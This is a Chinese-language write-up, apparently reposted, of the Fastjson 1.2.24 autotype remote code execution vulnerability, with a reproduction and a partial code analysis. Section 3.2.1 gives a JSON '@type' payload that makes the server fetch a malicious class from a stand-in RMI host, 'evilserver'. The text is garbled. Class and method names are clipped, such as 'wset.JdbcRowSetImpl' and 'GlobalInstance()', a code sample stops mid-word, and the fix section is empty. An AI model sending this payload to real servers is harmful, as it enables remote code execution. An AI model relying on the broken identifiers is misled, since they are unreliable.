rmi远程代码执⾏漏洞_Fastjson1.2.24远程代码执⾏漏洞1.1 漏洞简介
漏洞名称:Fastjson 1.2.24 Remote Code Execution (wset.JdbcRowSetImpl)
漏洞编号:⽆
漏洞类型:Remote Code Execution
CVSS评分:⽆
漏洞危害等级:⾼危
1.2 组件概述
Fastjson是⼀个Java语⾔编写的⾼性能功能完善的JSON库。它采⽤⼀种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是⽬前Java语⾔中最快的JSON库。Fastjson接⼝简单易⽤,已经被⼴泛使⽤在缓存序列化、协议交互、Web输出、Android客户端等多种应⽤场景。下图是Fastjson组件中的反序列化流程。
1.3 漏洞概述
漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
1.4 漏洞利⽤条件
⽆
1.5 漏洞影响
影响版本: Fastjson < 1.2.25
1.6 漏洞修复
2.漏洞复现
2.1 环境拓扑
2.2 应⽤协议
8080/HTTP
2.3 复现过程
基于Windows平台,使⽤环境⽬录下的fastjsondemo环境,拷贝后使⽤Idea打开fastjsondemo⽂件夹,下载maven资源,运⾏
DemoApplication类,即可启动环境。效果如图。
fastjson常用方法运⾏sniper⼯具箱,填写表单信息,点击Attack,效果如图。
3.漏洞分析
3.1 技术背景
JavaBean:
JavaBean 是特殊的 Java 类,使⽤ Java 语⾔书写,并且遵守 JavaBean API 规范。JavaBean的特征:
提供⼀个默认的⽆参构造函数。
需要被序列化并且实现了 Serializable 接⼝。
可能有⼀系列可读写属性。
可能有⼀系列的 getter 或 setter ⽅法。
⽅法描述getPropertyName()举例来说,如果属性的名称为 myName,那么这个⽅法的名字就要写成 getMyName() 来读取这个属性。
这个⽅法也称为访问器。setPropertyName()举例来说,如果属性的名称为 myName,那么这个⽅法的名字就要写成 setMyName()来写⼊这个属性。这个⽅法也称为写⼊器。
程序实例
public class StudentsBean implements java.io.Serializable{ private String firstName = null; private String lastName = null; private int age = 0; public St
3.2 详细分析
3.2.1 漏洞利⽤过程
⾸先在本地开启恶意的rmi服务(rmi://evilserver:1099),并绑定恶意类(evilobj),恶意类中存放着可以执⾏任意命令的java程序。到fastjson组件⼊⼝(⼀般是传json字符串的地⽅),传⼊
{"@type":"wset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true},即可完成漏洞利⽤。
3.2.2 代码分析
Fastjson通过parseObject⽅法解析传⼊的json数据。
调⽤DefaultJSONParser缺省⽅法对json格式数据进⾏解析。
在⽅法的参数中,调⽤GlobalInstance()⽅法获取ParserConfig类中的初始配置,其中⿊名单(denyList)也在此类中进⾏配置。
调⽤addDeny⽅法循环添加denyList数组中的⿊名单。
回到DefaultJSONParser⽅法,初始化结束后,调⽤JSONScanner⽅法对传⼊的json字符串设置读取位置,判断过程中处理Unicode字符集的BOM标识。
回到DefaultJSONParser⽅法,为token赋值。
回到JSON⼊⼝类,获取到DefaultJSONParser类型对象,调⽤parse()⽅法进⾏解析。
在parse⽅法中,通过判断ken(),进⼊对应的代码块。
调⽤JSONObject构造⽅法,初始化JSONObject类中的map属性。
回到DefaultJSONParser#parse⽅法,调⽤parseObject⽅法,对传⼊的json数据进⾏字节读取。
⼀般会读取json字符串中的双引号进⼊scanSymbol⽅法中,在scanSymbol⽅法中计算字符串的hash。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论